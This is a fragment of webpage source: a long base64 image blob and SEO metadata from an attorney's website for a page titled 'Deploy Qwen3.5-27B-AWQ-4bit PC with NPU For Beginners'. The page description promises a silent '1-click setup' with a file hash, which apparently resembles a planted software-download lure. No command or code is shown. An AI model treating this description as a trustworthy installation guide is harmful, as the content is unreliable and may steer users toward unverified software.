YXkUYFgWdNej1bedKT2DasFi7VBvDzAQwqIZJT9zz+bsl8uusSZvuvejeLk3ayeFJB54C6SiKt\\\/+dAjR4W3TXuD6QSwiWJyOPml2FX\\\/bnQIPy5w6vsBXD\\\/IWp5ZuyzsKLTOHJIU7ZdxBIs+c94pU6Wi9LEUN4amic\\\/41vM8NCcXoXwp4bM8n+fDwg7zJttIBH6wrfcYF5McsTSKGvzzHB3FomUuC14P97jsA0yLJQx9nMeU\\\/hSzWAlcrOCxPExnMmOC0Aq3jGWRkkAebdWTPqzEMfwvk8\\\/54Xa2\\\/YpwHR5t5neVFaOnPwCPfFPDk0OfeKCScENhJVaOZANbnbP6TmUx7ozeXUXrrIw\\\/bbJvVIJOrSqYZp5jcMdPSYWCsIqK7xCN7OfW1QUwm7CbCA7s1SG94LkgsxNPpHtI7rCMN+eS1ylCC1RyfFoc6iJIJDyyDcm33IFkks4EjR+1R5MlIMQbhxlDBIea5cFJqlxFpkWQSjjq5O6Jm9Udj2pCryVuehNe66fv4ZDtQJCyPMy\\\/0tiyeOcKrHR8Vb9cJx2hQJq6mp\\\/NaYyhpTyxzfuFURjbta+8iNqs3WOeLgv6+viE5eryexbGkQluWq9am5IVa3C2PIxO6z+nvytf3MThFG4bkh\\\/n960cbvn7G0E1MxcpJhN0mvUIKNDve4N2pNHqu\\\/SWohLT9EKr+35RaLcjmrm+mliRZCA\\\/rdGwDozbaGS0x\\\/FYzG51yO4daDfutDiTFQ5eW2HeqlwNBmA60ZG8Er0iGtJiz3SrnuujMJZC3seB1bm2LjNMmxnqg0pNtmd5tGU7yjvck745IAlUDw7avT+WcLr6gXocUgSeO9cegRQeRK5MOxUociCgs9BzTzWnqDunWZf6YSTR0nItMq15xc5woT\\\/et+UtD4Z4+jtQuxzqYNFgdXX4S1RUPgpQ+e8bs2SFAFPPIRzUmMLSlmhJG0owCxQ8av\\\/M1eJsO0Py8F\\\/HULMrl\\\/3QbCHQA1AYTXyBs9h629WILpqhE9kJVzon73Bf6pZZ8opTV8rEX2oHLPDhbCYiHU5WbDHqf5AbPCvUHasH+SfVm0RB9S2rOIxAvoxO8bVgdQ\\\/KRzPNq6HbMfJt6h7g9Wz9xmfCZDZlK7Dutf5G0WJmM+lIZVKBKFmQHJTuwoTQnHB34iBgvvfgBHn4x8VIg4ZIDks8vxfzN4u1\\\/guxE808GKeYDsDE9+GeXkHWk1043xgDcQbHew+02G2jpCGJOX84zu3lP\\\/jno0VTB3y96FMDWaF1L698OV+bXEq4y06faeqIB5W+TuziIVtZ17XDGJ1djRRT5B+513Vv3oOr3OOA6SNKliweXfweqEdIUjY0ONNpArsr94RCHaZ5AQIMYlWfAuLRCISUbP7lhHT5Q5y7S+SOn4lFN3W7duQBmPDxq3zFYjxGHGxj5EJzDkjfGhA8xAnsW7bpi6Q1ZRHBJGCTYqawyEJH6UPCY8DJqPXxsDj21PxXPRMfbqngvybMJux5yyegEHMEbNPlIrOokBEe3fOVNtzFIbMU6iS4lNb9XEo9scQp4B\\\/1brmPr\\\/NX++yn\\\/6z7PtmT7+1OBfPr5yNInSubaFi3jx\\\/eCIMQLSJTbrb3bA6ROVWtPYf98rUHA35Rh2UUJYMKEgnZ5vmj1y+6GV6Jto\\\/tOxD\\\/Q9lk34w4AK1XzBQbAdB268ZgIRz\\\/77ePuM5lW6PwsQLHpWhrmt1CZ6dp1MLXFATlVhAHY8mIJQYFkXbR++fUVteTFIyCEoXWVxE5\\\/RGF8gvsj\\\/BJd4YUkGlRl+loS54LyZ48mVwa\\\/bDYt6HLuvj\\\/nXVJPEWhC1l8FAQipS4NMW+IYd5aNqm8ExbLoAFmUT1vQfVNUCyT2xBeu+bAIu7ZPIJINUmR96AWxw23yjBsJ+Lbz4qM8j+fLNQYuby9ntn5o1g8qAp2Y\\\/BctseemOF96a4lw9Z3nyY3qBDQWo86cnN2cQL81CJCYiNGw7c8Sr7pql+QKeQ2pWPwvoxgJ4uZ0c5H5EQXozihT5\\\/gz926aJjw9Ar4eURSlQtbUL4JH5BLzVxKDHmPQHRBX\\\/J483dofPmWy8\\\/F6Uf0+C+DK8B2EAU4kkiO6KnOua1ICtq9Ejs5vXAzjcdesW5q0kwPozT3P2p9VjkCt3y2AXs8F3RDG++O32zRcg1WezDbX1RT13jwq4aHqmoFT2kti68WPWObpm6nhbVx3uKaTZhWVH5LgWNA8EDs7HUn4W7W3bI5TW8G13HOGh\\\/EC59KjYJ8Vshz+AG+I011Er2p\\\/8Q2uuzNWEanT\\\/7\\\/AFK+TIiQKoTzQ8Lore1OjlD1XseIct+cmKbiqFPuc6Vsd7ZeQhul+kLKqN\\\/bdmw6DF6yXUgj7XDDn6YQ0XHL9CA8mJSApbkjPxolyTCBz1UbiwZP1bd\\\/8Su1J1OVGAsrSbXdEgR\\\/MtHz16q\\\/70Tmsx392Ep9sNzCztqPA1W5aQvVrP3c2A8quCMmSKbL6vv5h8TTvSmBGs9vlZZfdxcbHwZbIOzgBp+So\\\/O17\\\/HOclWPUvfYEGBZ\\\/Q6hYzfthIZ8IFmmwhatrDQ+gwxXVqt5sVX9I0jwFf\\\/Ft96CQiNq+OcnuwnH\\\/jZx5bBlH36ByRqiw\\\/aLplyEWpBbLxL3OyFv+nOefoWpi8WT6kgNDaSrITHQxGPogOnEtpkF2EgtcUFd2jh8qeQKnujVVOewh3s8+mOA2S9KzznND7tgf7nPjmumX506MaO8TRX8Ub1TTIFXNXjF9kMMQ7Hq7Hzm+gWsIMK90XrDdW9Sb13b2xp1Qvb\\\/HqUmwLdH6iQSLQAh\\\/qUSrsfBHxLta0VwiAOlQWeUZTe0LTxZfUna0LMSKzdb2yxguWkgO0l2utEg5iksbzj84uft\\\/rnGytC9a5F8j6UfKmdfjaY2yCRdJlnO6BH+kNuEG0nlQwxCq8oU7jl2NEckJ40\\\/dCAfV9qoco0xxfp5G0f2dH3xIG65fpaSu+fMOzc7KEnbpaS\\\/+ds9UvSfXcd7CtSM4WhKRuyWKRlR6VeLkUXVo1zXYO66+gwnEeJndQnizMMXCN21CAnzdjDGl63IbGYgtDWH4AByNvQQxZZv0g43PhQt4jaNpn9oFdZWTG8GGnYDnICSIdRdwy\\\/\\\/T2WlNLw6iluiO3hc9qfaLdejEiYo3KMj4Bt0x2THBet8Jw\\\/4wnt+MvDumwRODZ1ewbwZPlG1kBhAxs+b0KyfWRZt+dQU1i8W4\\\/BVA5oXJKl7V8BwfMF\\\/pZlRetOZfwNqYLwsIh5r\\\/eNG4ghJmbIqxnuC8RJHmyYt1Prkd9j7KT\\\/AWKiGZO98ITaX34azotq5aumi2268s6VpPfhT+eXfjgstjvGO8xlej5GQ8+w8I+zWttsme97\\\/NhbpHNFMwTV9ZiB29MecHnJJMFnaVCV6QoPD20izhSMOQPofbfOtR4hhv9LfISTQuc3Ge1DezxulJ+nClPvZJ7cnAtK5cfb\\\/m12jVTsbxb3\\\/PXs9L3V56gmDhBgkrf2Y8PAwP3HV3mVyLQZdk7xPGTswQ4vEfBZSaiFSCDQR3owwIp\\\/ug23Z1sbDQozMiXQnPUJyPNGm3iXKcqn1lyKVkDB8wQ9REQKWeY7h4\\\/H8JMTCsCobTZgzv7dPgwlFFxny46s3VnNhmswsnu\\\/IXVrJGyVVNh831dS9vuV99nmyzG4yaQ2FC8oI92zicBRNmqxx\\\/1toa+bhOH1w09+zyeK9b\\\/GXmNOVPH7eaKHSAwYFQ8aGF9+rcD1BDv6dGkasAh7eTYvY+m1wFsMyB1xarMreW2lmXzasxNvslSytz3x66bEpjqVkugLT\\\/wF8eAR6uQTO34F9Xe2YOrgTyG4dtNZCgk329CB1\\\/\\\/jS8cVJRCqyv+6tuD2vBd9PH9NHUv59H4W4pcdmxggqoOgyWliZOXppzHRbFNIIpmk8X0nS9Zg7FHzNr2ucPYHHOeRC8bWOsf++YpAniNEvNVabdErE0S7oV5DwrXTwcIL0lO21gJRW\\\/bZEbxxFsx05yPVYrnXW\\\/0aLU5NpwZ559k9YxMZkXcG7YZFzBB2TUP2sihXoOYP\\\/jaHUK+c\\\/dCYX5djBnWDhVDekAd3+sRuPyhsHgn4Q3G0IeZDbfwiZweX+X\\\/avvBdLxxr09Wd5BOBIdRzBJhFn4JX2vuPfLKuNDrVE8Pm0hoVwLZF5sWJlemORMm4fad\\\/\\\/yeUYyej1CNsj3hXc4yTPsSle8gfV+SGs6FdJTKvknXCALmReG4lwOBm+Qd+25gESaO4Z2\\\/Bc340MJmaOUEZTJ7injguRENMcLC54yJfXwBamvHgij9pZlEbyvcfFvRf+TlHnoA3i1j4lQSv92IEysp\\\/MXj3cOUSZ10l3fmB0ZX1istvWWxK4znFlPc02oBUE5Mrgfw1+dP0Nel9fZE3OE5i\\\/N+6izbqNwZeffFuinqIj85sRQtmQazWx8g8gQJdaBFk9R2zpl3D9DXQWxkIAAI4d34tFEAe6QYLQfCOHm05B5vA0gWyCBx9ff5+O9Sffq1GS\\\/4GOrbB2sl1B0pNjSAa3RSsGnaEd1f956EwT6s\\\/FODxvi8qqk2x1DQ6dprj50IEV\\\/OMpAhxKfYTBRK8wKgBP6OSGL8RYE64ofvyvRyY5iQ9J9IBZ2kgLT49wXnA1Akpq7oKkjy9TBy+PQ+9qwiNeIaakEAYR2Z8TTbYW8UCa4AjnGRgpbDYMMRL25NDBlb0XN08uiogBnBpjZMyNBrWiZrZCC96K01dH0IJnIxFk0yN5biL0z9sPow0bcITA3eW9PaMrGEmve6f8Bxsbm8Fi5qjP0ZZW1sf0LvtFogLny4PZeUwzUeMHSUzKZvQxlzGECCyH51EFkAY5Sp5bBZ7aIStCllqUZKB6Ak6VCwaCFs3VSfjpHQMegZYZv\\\/dwgVi7mcLsl\\\/YKIX9pXkLjwmcPltZ7ATpkiwlARAFaNK14\\\/RBrDo8f3cG1X3QGYyrRzJdZCzB0h2XmxEkD2CRoolHIKNL5rlmAqkMqtPQ4plTfb2WgvEFJiyWg9aubNffwOlTz8QTBOEPIR4JjrXhQZnwPDndZXl6g4mLrqHIsd5hCwX6yz8QHQ7IalzvI5SHdfbP\\\/z\\\/Zcajr8Sa7tFcQlAw7HfHOBZ\\\/r+jRVVGTkKtGY8lN28Nq1BtYGs2MdhJRKS0k6gGodIiPkfH3kbb7mBiJkBPsffnc7UzeAc2WwER\\\/R52A\\\/zUs\\\/sdfFSjRY1QzwevqTrPtUFjdWrPiQOC92t5Zajrjj6fUb2S5hUi3\\\/t3pVCILdkksQQ\\\/xCbNhzdYH6OatTywZaLf3Fco7\\\/UlLhgJ19ewb3Qwgq4VeS8l6dkxDpZoIWUXMxolUUcACJ\\\/omGY3vdDxAUCeqt0BMziqC4LR7p9TyIp\\\/vCgy872fBY7E54KBFSdogA9Bud4QhybdfgxBXtMBctHlB4lEQmhZqV0\\\/avZboJ8k7o+FuHAJ+QzPklIizALyU4COzvf17VfJ1lXuKQGuLtPGGzEDvIAi06yr8sX7B34XAXC469F5jKE8y4ZT9U7RS2SmfYdODeyTzzj67hsxZGCH+1gJe\\\/gJVwOYM4muPQXayGx+mDWT2GqwieSo1RCBfo9bMr9KoP6LkAOUnw0AbJsxJIcF3NUS30LnMJgy5SSS3ba3P4Yz5PP\\\/61pjdd+1L78qeRMRG4AhG71z1wWd8LeV7Y60wySloaaM\\\/K6bfJlyvEA2Pcn6tz8mNTb8NpOlbI65j3vB3ExaxsNddwy0TMZKQL+KQ94vP4bCrqoWBw4yw8BLbnB1IUprt0hzzK\\\/VMTydjmKp7AGTM\\\/EzXI5gr+ZwJMs+BTLCTwHRLsHn2TmEMuG3lAM1wui+yTQH7n0o4TXqJj+AoMyqCx0+Q+M3hZk8Lw\\\/QnIix3eU7dfdovDnI+1srvonAFf6hvKW7Vk2C0mCsNpJ6nlkKNt2QUeif2NJavpLEB0xJStK3YZEP4Y1pQN9r5DTPwkAOCtLZn3r5aMoVdPG04PGq+AKlrUQMH11dnGTKuDwm2gbmCHPLVhzNVFBD74unFxnUEj2sL8EXFm2\\\/0ELn7+hHQCTmb3kqtWA4xO\\\/odBXdB7MwwavR3aQT2lbe\\\/R0KLbdioosZ7CMPyzid0INHqYR4A4+0tQ8Solq\\\/1tbiRnCNVvqdb5s6l65So2+ktcBceBybC7J\\\/aeTUmjrIlhiDwnS4SYAeNUN6KHmOKf9pDF+RXO6\\\/7AH9KcMNydsuJENUSqB7OgVo8HnetN3IP5rgkYgGtCCTBUDPIwGReFPJDgPqczmYfyQyPuST2PCYo\\\/HmDrYtM8UVviz4oDZlHHJ6LWT9XWPcqL57rQtUeR4H4CcLAdIY+GmUtV0+x3t7Y\\\/bqF2RJXkvvdSFFABVkbaJohbrLdFiZXdkZ1i0v1P6hD825xl79Y4iGXWLRoz4+yLE8BEgG5\\\/2V1u03bOxuT5TFKAAAAAAwoDN4vPBxwOWDNRE8aBlAplpD0xsSP1QQC7iwOAl9rIvs53LSMUrWsCU4WyOd5STTck6MJ\\\/16WSZdz\\\/ZYL3Tklhcw0HKAB0PFhOK2+wuifdzs0ms7iYr9gPOCkX584BaOf0o3d8i0z9JxDqGOHOygH9G7juHEiN067WYj52KgQ+wKtIotqTPr93\\\/JJZOa6otLZED1NocZNhSQV80uO\\\/OYrdUAl3IQeq7blVS0vRPHOUAV8Ar72SIqFVu5pmmpNS1KGN9nwBJLVWDsWs7T6hGcCj6nEmA6tDohUngVEAUK25zB3b5um\\\/p2ba7J5yJ1OKYX+UVhdlOG+vwhY6EsvWV4x0cHibEpAyHRjddSZ6I4yhpK+7b3mUzqAYFukyikUi63is7mmV6pN73NYVW9WqRyZmz5yb5MwHdPXplcfauKX5IMOzMv4G3gsWvfd\\\/+HAy4BxsxPj2yeOMEc8h4i+A4aDdH4AF2QyM3QgHFJ8lV3xaIxJzL9Db\\\/fHeq2t\\\/gmoR3LZLaF5LT6yrYF6GVnWSf1QB9rK\\\/RysdRE7kvj5pYC3sZTuNw0BFHMpGn4O+qIk\\\/ccNh8f4BaxUq7nQZJXWD69iPcjdnpHBQAgr0u3ZeYMmwjA1nw7A7W0IFfCW1FFjglIL0YTrDEwiSKuXEetW8o0usw1x\\\/OFQCNIFuAIbZW51xwkgJKiMfq3m\\\/HSloUuk9DjKGDLGxtUtUYHu2mA+eGtbo+OApFBtNEuS+9m0tyfZpMX+HZXtxlyBGh68hmGDcsQE5LvJaf+ZeiDaPfquAHfSqW7FcvTO18svIVntRGrMfFlsU6MJxIIFfsQGlaNRty03EMewEaGTexmcTVDn84NLDzmRSelxUjHtjpB86gB\\\/OQbi87HDYzy4OgueCkHtdoSbapILu6OIG9vL3TNIlanGDfzramkpmo2CFRv9mAgqR0DPOogln1X\\\/Q0iFnvTeb+7z0qlKgssCgs7AXH2LhM0pJwRLdY5wn2vRzlwf+pTkonp1BkhXp7i\\\/95I4rH4fIYCIx0EAAAAAAAvXqVMZYcZknyKhE\\\/W7jXdqxEvwgIKLFh1R4dTc3utOrXWD3tloMpp5f9JC3tKctyE7pR25HtjZM9xYim\\\/4G7WTDlsVzrugLHBg1dWRSYdeuK2f8kbBD748qNhjmy+XEXKQlg5vJgP7g3N6HP8U6Lk3hg9drpgLb66dIx6YPjP\\\/OvB782xewMQ0muC8sjLRBddU\\\/nf0Dmg1eKk3s6nodsxCZCXlAah1AKtDnDeWd4vQpLAYZSqgR2uS6NJhGxmNL6lODsdVT0jl7lMRWMPdL70J4ipYsnC7BRRlqI\\\/TiU0YigYaON3BrkMvNag+IqbIBxl5aqiPqxJ8ro+icaORnRA3H9JNjiuZGHlB9Pc\\\/8df2JZtoDiGVxS7kKHt1xeV3UEbg+sZaDdTbQKJBr9\\\/hQZm462VM1vZriXrJLuOf0opLt5+mdUyb2mdIPc7El8PpDIjD1RBNSiGaOGxh8H2lPkkixYf6frO5gvsZKCg1GOHpAvPfQaN5oK0XlI7569q8nCfArs6JCW5mkjdu2WhI35dH\\\/REp0YqLquXPVf0l6bzsBfayYsglCrIyEnMCh3HnwYclkxvsgffI7bCymCeAz62OyyVXZU5Z2oSYvb4hq+DPTB7NrpiwEzb\\\/S2\\\/W7mMwix8tq3cX+MMqzG\\\/QmtdGbeiowkjwNuUyOyfAhuryl3gAKcu1dmKRNaToFyxkMLVyqQGbDVz7FM4zDxDZHvvyeg4065CRm9lO5xep1bi0audslB2xEfnrjzFkrasx3zottapV8xq0Ukb1c7IFJeQ2PzPhaa8eraPlxmUDO9PUBKWRCnFouA6juXPeUrX3v\\\/Gb3uMmWL8d1SW6ZgYrsKUnmV2GkP4gACm+XGAXlixtJAn5IjyT1vIiGtfLet\\\/ybpNpAFsGD6gq\\\/hN7lGOct\\\/KyY\\\/YHVc8iArDZOSXcYG9bgm6Ny9jmg2e39+yQNjcJripL+ASUArybSwi1UGRbJ7If284MJAnc0KwlbcgRuoUoxTq0+idN7MmB6CkvZASyWNs\\\/aKf8pDtBtd4YC3eLxSvUd\\\/mo9AzeMqkoTZjZMXi+BBxRfkrc9pr+ezjdxzsyWA2GzntBMtI7V7t0iyDdChSpuUvN5E8v\\\/G\\\/HNRO6DZ+wIlOsGdd6axD5DjtgG5KtH7\\\/j9ihb1Oe8s1DuT8uK+QRxy1i7sjlGAqw8AE+DVVfSJZusDjsg4wyGUfGCIKCaC0NKjMMk603gACPKDdYN3XeFXhtoOSvDpOtuHQQ+T+mmc\\\/GGDtt5COZlT5367PwbkVED\\\/w+Ezbdaj\\\/GVrH4iTQKLTd4LzCf8t2DpDmW0U4UVrXG8ZZCybQvqckK\\\/1RtVwGKdfTiGSsiYGCXHXQPqsFUpzJfS492R9ZgtLC8l1EtaWWRzrywYtM5uVNlwSdnDBgkK9Qu+HjQkxgWl\\\/x4baxF4qxUcT8FWW+pXGCc11XTfIVny6B27DGbQyqau6yhf8WedfT2syvp0IC5WXao1QeQFd0lGNUbBYY5M7lDw+AJmvkuAUJQKX77EuYwYoBkn3mqFkRFZUL5iXWQR\\\/zLHN6k0ws2F+BuzY45ZuhxtxUMZjNF3PZDQHLJuJe+haZcYF2b4haPDiC4h4neKZdy0eXKmh8PJl6kM378KnBMmFgsexRnNl9IjHK5A3ZyPM3XjtaACAAABoKAACAqVbeWQRAWjEbw0jX7orsrZRFaNTpt8UjWaV00o+axYMc8Wxxt37veDrhzxTN\\\/WYosGG+xCIUJ6zeH672z47IS6c+65bEauCFkjZIr38t8iUwmsrY8mA2AUXbjHGEEYNyBujOgxs8o1IBAfC\\\/xOND6Y+7j8qAnd\\\/aGfNP6QpFOyj3\\\/rfscle2y\\\/G2CeQ8r2T3EgKjR9294BJQFtQ4+PhZPS2pFs6eRee\\\/lRIwlVTCRKrxI3atj6FiIYPbTCBnm8I3LGBoCjwoQVrzCjwtJghKGIH6aqxU8LhfXBugrYsMd5q1Bsr92l3gAxQos+m1OlVTSMH+yaG1uaTsPJvHf2VR\\\/IeqbTQWNtsR9C9OemSbFv5rUwuDS0nURoktevUj7muzKrUZQww94LtTzCHXo0EfR2ss5bM6AmB1D7+WGE\\\/CIUcrHFXgcbvAzy61peGe\\\/ySE79BenlNN0i2FVCfz+XBXYQGB5vfs6qMFLhY2Z8awOnCtPgEst9\\\/Ni\\\/GU93anif5RmSHiGMvDFMvp5bIq9fQPkOhW0xVL+E+7IA6ydcEnJgzK4tMJaitNNDsdzwK+yYJS0WMQT8C3AaixphUKG6IEWfFjRIjeeiTL+Zta2eBhIQRmFp7L84Wn6+8BSg7tUOdlzEmkLJqtemYtq1nq4s\\\/CyFRBakCc5G2ZUoZgKcF+333CXuf\\\/d6QeXJK71uFle+f6juSncXhChPjsU4hdHVHuWYtBBzA9sGC0tJoNSxaBGCti2AGdrjaY2jfRR17ZybrToPiorPTgrNk\\\/Y\\\/H3RjBAvzkhadEqBN1phjqE2YAq57qVk\\\/Y6QBF2B7fP6YvghfsimO8vhPLW+n9USJI7V3VRaVS3q7OhcfFHQyxaapxjt\\\/OSFq\\\/9G8ar6iE5qpM4CHqKvJtCxoKF7I80nvMA2okI\\\/qU0P+qiLrYtp\\\/RIj\\\/2\\\/zmWtHVBVbbCgTvHkKxCuryrr9SJe1SNquq9Bf0UeR0IanSwWBV7pskLd3Lhi9WyKC+9X98t7ZRgbDNanEQzegV5sJNEVnPaYZ2DEPlMOiCNwRZ3FPvefgemLeQdAhNdwoI150PKGkWwqHCK1g2GryVucyeOkbgV5oiLbS3qMBB4HeIWXjDbxp062Njt7GzV8RJpm1+xEkqbrKbpNcF8irO6ejvVBWkovV4D9JVZes\\\/3HeVE5kN8S3mlpHzCKheoyD9GpMvdg\\\/xeBsRQfw4rP7rt93L+yjdKVo29ewiGo62ZRtAnLoAzZ97Z13CmhVxwqCeVq8O+BGdVZw452SH04jRLoFYnQv22ArkS6q86yMdYFx6fcjhVrDwFx+ZOlQpTtba\\\/9HPXKYUw6QRGRxy88q50SJ8D3772hDuoc2vxTFRuMRoDBoERQ+F2YPoHEcCtGvtPr8rbyS\\\/EEZ\\\/\\\/bXmrAKpgpU5O1whvHtquFmhr0hIxsnvSQ8Y84t8lSi4YkGojtsD+U2sPHZmynEJLJ1ekoSXwSNmkKXb2ktXxmZIB76C5EI5o3czoLpBYeg7RGE9fIVoBVBR661v156D\\\/SXnZEqhfYdzy6sQwKWNok631uEBbjAp1kSB0hutZlgSdWVWCrVaHrnUwDrIL\\\/KArnTLiJZ8XfOO1+QZVLPMqolQ9rxveDzDaydy6g7Bz3lEU0zOaHB3H671cNzeGN9ARF0HBniurSxyTerHymJaVhvD\\\/1rL+8fpP1hQi+Fp+W0SPeDVyDXkUvE1pgZ0qrOmQ25eJmP2oHZbbRHTQkHotsBWh2CDCH2BvbN+pHJ2vdCMiBjC\\\/2YLewKuHGOyGBFXc501aCAQZbV64dkAxkD5cRWaom7Lkm6pn8kOC0Bg+CUpLqIfrSsSTRYEQoaap\\\/olhLCt4kgY5f4tINa0mPyBg2X+e4koW\\\/kZCIbVhh8Ip\\\/+XlmufbINmpOESBc3BBFl09cmFqf\\\/a0wcgiaI4CxNig3XPBrnDq7et97rkc\\\/IE4z2YszaOIZKlZWMYV0voveum+M4AHl6cVz3hCg5m+Y7U3i\\\/K6fiirvUzoR03ouEa2Z\\\/ApbojaQohwOdfZxqJTrdv8X1TX4Lqvr7x087BzFTukUFgbIaW3Wwc8H+Wks+8UkkeuGUkndPQZmOqi2nSCR\\\/V8wxHwD9tY\\\/wfC0+KK+3rtkAxhlYzEb1zNZY2kOSNNCmE2jUd46e7eG6+HYsM0bWnRClHF8Y1FYtHgS1\\\/ytuowWUKqpv6IhROm10UMjl3\\\/2GO0du1zemw7ZJsXYwxnAgNCBsaIn1Z4YcayALFQOo9Xk\\\/WaZ336qxLaVk6n9x7BGb1qPNDuloJJBh1T7r9k9Um5uqAwwJm96IbW1DOAnNN5ZFeO80TTjfirhSnyasopJEFKA2qqrHiKqQkM3qnMdWW1LlQPcyi+QgkkZLdAkF4pEs6sIoXw5gRIM6qmFdIO5MVcz1TyXalp9B8ITf0oP4n4lgjNlST0evzD6W7plK\\\/bBtPA9zGguywYsTss\\\/F8C8sEG0A49vZk5mHRGyZ6d+ERisfFAnIklbAAAA=\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\\\/#articleImage\"},\"datePublished\":\"2026-07-10T11:52:33-05:00\",\"dateModified\":\"2026-07-10T11:52:33-05:00\",\"inLanguage\":\"en-GB\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\\\/#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\\\/#webpage\"},\"articleSection\":\"Blog\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\\\/#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/category\\\/blog\\\/#listItem\",\"name\":\"Blog\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/category\\\/blog\\\/#listItem\",\"position\":2,\"name\":\"Blog\",\"item\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/category\\\/blog\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\\\/#listItem\",\"name\":\"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\\\/#listItem\",\"position\":3,\"name\":\"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/category\\\/blog\\\/#listItem\",\"name\":\"Blog\"}}]},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/#organization\",\"name\":\"Fabrizio Garc\\u00eda Bacigalupo\",\"description\":\"Abogado - Attorney at Law\",\"url\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/\",\"telephone\":\"+593994229331\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/fabriziogarcia.com\\\/wp-content\\\/uploads\\\/2021\\\/02\\\/logo-fg-metadata.png\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\\\/#organizationLogo\",\"width\":112,\"height\":112,\"caption\":\"Isotipo de Fabricio Garc\\u00eda\"},\"image\":{\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\\\/#organizationLogo\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/fabrizio.gb\",\"https:\\\/\\\/www.instagram.com\\\/fabrizio_gb\\\/\",\"https:\\\/\\\/www.youtube.com\\\/channel\\\/UCI5bpNS-B7k07hTZ23RdhHA\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/fabriziogb\\\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/author\\\/fabrizio\\\/#author\",\"url\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/author\\\/fabrizio\\\/\",\"name\":\"Fabrizio Garcia\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\\\/#authorImage\",\"url\":\"https:\\\/\\\/fabriziogarcia.com\\\/wp-content\\\/litespeed\\\/avatar\\\/7a7bcc675ba36c747931bfb8dd486a86.jpg?ver=1784216118\",\"width\":96,\"height\":96,\"caption\":\"Fabrizio Garcia\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\\\/#webpage\",\"url\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\\\/\",\"name\":\"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners - Ab. Fabrizio Garc\\u00eda Bacigalupo LLM. Mgtr.\",\"description\":\"The most efficient approach for a local installation is leveraging Docker containers. Please adhere to the deployment steps listed below. 1-click setup: the app automatically fetches the large weight files. The configuration wizard runs silently to set up the model for peak performance. \\ud83d\\udcca File Hash: 91647e0f43b17cfdd9f985b7ad050ae4 \\u2014 Last update: 2026-07-09\",\"inLanguage\":\"en-GB\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\\\/#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/author\\\/fabrizio\\\/#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/author\\\/fabrizio\\\/#author\"},\"datePublished\":\"2026-07-10T11:52:33-05:00\",\"dateModified\":\"2026-07-10T11:52:33-05:00\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/#website\",\"url\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/\",\"name\":\"Ab. Fabrizio Garc\\u00eda Bacigalupo LLM. Mgtr.\",\"description\":\"Abogado - Attorney at Law\",\"inLanguage\":\"en-GB\",\"publisher\":{\"@id\":\"https:\\\/\\\/fabriziogarcia.com\\\/en\\\/#organization\"}}]}\n\t\t<\/script>\n\t\t\n\n","aioseo_head_json":{"title":"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners - Ab. Fabrizio Garc\u00eda Bacigalupo 